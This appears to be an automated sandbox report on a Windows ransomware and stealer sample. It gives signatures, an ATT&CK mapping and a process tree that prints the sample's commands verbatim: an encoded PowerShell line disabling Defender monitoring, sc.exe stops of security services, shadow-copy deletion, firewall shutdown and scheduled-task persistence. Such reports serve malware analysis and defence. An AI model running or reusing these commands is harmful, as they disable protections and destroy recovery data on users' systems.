Overview

overview

10

Static

static

10

xoilactv-l...er.exe

windows10-2004-x64

10

xoilactv-l...er.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 10:33

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General

  • Target
    xoilactv-live.us_hyber.exe
  • Size 49KB
  • Sample261002-mlrd6azybx
  • SHA256 10fb6a121920a1b92bbe1ca737034ebd99a7772416360164a5cf73222736ae2a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2224
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1404
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3836
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5796
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5316
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2688
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3916
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3892
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5492
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe"
        3⤵
          PID:1720
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5696
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5812
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4568
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5852
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:5768
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:504
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4192
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:2404
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4484
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5768
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5932
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3948
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:5424
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4404
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:5840
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2728
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            PID:5384
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3144
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:4492
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:5076
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:5196
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5000
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1128
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:1468
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:5712
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:3416
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:792
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa3a20055 /state1:0x41c64e6d
            1⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1232
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k CameraMonitor
            1⤵
              PID:3672
            • C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe
              C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe
              1⤵
                PID:1548
              • C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe
                C:\Users\Admin\AppData\Local\Temp\xoilactv-live.us_hyber.exe
                1⤵
                  PID:2732
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                    PID:4496
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:2592

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Command and Scripting Interpreter

                          4
                          T1059

                          PowerShell

                          1
                          T1059.001

                          Visual Basic

                          1
                          T1059.005

                          Windows Command Shell

                          1
                          T1059.003

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          System Services

                          2
                          T1569

                          Service Execution

                          2
                          T1569.002

                          Windows Management Instrumentation

                          1
                          T1047

                          Persistence

                          Boot or Logon Autostart Execution

                          2
                          T1547

                          Registry Run Keys / Startup Folder

                          2
                          T1547.001

                          Create or Modify System Process

                          4
                          T1543

                          Windows Service

                          4
                          T1543.003

                          Event Triggered Execution

                          1
                          T1546

                          Netsh Helper DLL

                          1
                          T1546.007

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          Privilege Escalation

                          Boot or Logon Autostart Execution

                          2
                          T1547

                          Registry Run Keys / Startup Folder

                          2
                          T1547.001

                          Create or Modify System Process

                          4
                          T1543

                          Windows Service

                          4
                          T1543.003

                          Event Triggered Execution

                          1
                          T1546

                          Netsh Helper DLL

                          1
                          T1546.007

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          Defense Evasion

                          Direct Volume Access

                          1
                          T1006

                          Impair Defenses

                          3
                          T1562

                          Disable or Modify System Firewall

                          1
                          T1562.004

                          Disable or Modify Tools

                          1
                          T1562.001

                          Indicator Removal

                          2
                          T1070

                          File Deletion

                          2
                          T1070.004

                          Modify Registry

                          3
                          T1112

                          Credential Access

                          Credentials from Password Stores

                          1
                          T1555

                          Credentials from Web Browsers

                          1
                          T1555.003

                          Unsecured Credentials

                          1
                          T1552

                          Credentials In Files

                          1
                          T1552.001

                          Discovery

                          Browser Information Discovery

                          1
                          T1217

                          Peripheral Device Discovery

                          1
                          T1120

                          Process Discovery

                          1
                          T1057

                          Query Registry

                          3
                          T1012

                          System Information Discovery

                          5
                          T1082

                          System Network Configuration Discovery

                          1
                          T1016

                          Lateral Movement

                          Collection

                          Data from Local System

                          1
                          T1005

                          Command and Control

                          Exfiltration

                          Impact

                          Defacement

                          1
                          T1491

                          Inhibit System Recovery

                          2
                          T1490

                          Service Stop

                          2
                          T1489

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          doc_2.pdf
                          • Path C:\SystemVolumeInformation\doc_2.pdf
                          • Size 66KB
                          • SHA256 28b1833e349d48d4d60ccc12cf79d64d04eb159b8fe68ec5def296a3022a3819
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          __PSScriptPolicyTest_4mlvvbhf.tk5.psm1
                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4mlvvbhf.tk5.psm1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          createshortcut.vbs
                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 247B
                          • SHA256 8bca13f70a7eea7805f66ebc15007335c7a4ace8e6af9a4a41e25cd7cab8c3cf
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          del.bat
                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          makelnk.vbs
                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 248B
                          • SHA256 879476059e503f4f79276f0b6678d68308ec806bff35b9581330862b0f2047e8
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          invoice_1.pdf
                          • Path C:\Users\Admin\Documents\invoice_1.pdf
                          • Size 66KB
                          • SHA256 46cb7891e5c5f9dbae11f4749e4409ed10832b8aa65b3872031b33fd54a37d5c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          memory/1596-10-0x000000001E280000-0x000000001E442000-memory.dmp
                          Download

                          memory/1596-2254-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-9-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-12-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-11-0x000000001E450000-0x000000001E978000-memory.dmp
                          Download

                          memory/1596-13-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-0-0x00007FF9DC1DF000-0x00007FF9DC1E0000-memory.dmp
                          Download

                          memory/1596-8-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-2256-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-2248-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-7-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-1-0x00000000006A0000-0x00000000006B2000-memory.dmp
                          Download

                          memory/1596-4-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-3-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-2234-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-2-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-2242-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-2243-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/1596-2251-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp
                          Download

                          memory/2224-17-0x000002A7F2C90000-0x000002A7F2CB2000-memory.dmp
                          Download

                          memory/2224-1117-0x000002A7F2E40000-0x000002A7F2E4A000-memory.dmp
                          Download

                          memory/2224-922-0x000002A7F2D80000-0x000002A7F2E32000-memory.dmp
                          Download

                          memory/2224-835-0x000002A7F2D60000-0x000002A7F2D7E000-memory.dmp
                          Download

                          memory/5076-2244-0x000001B6831A0000-0x000001B6831A1000-memory.dmp
                          Download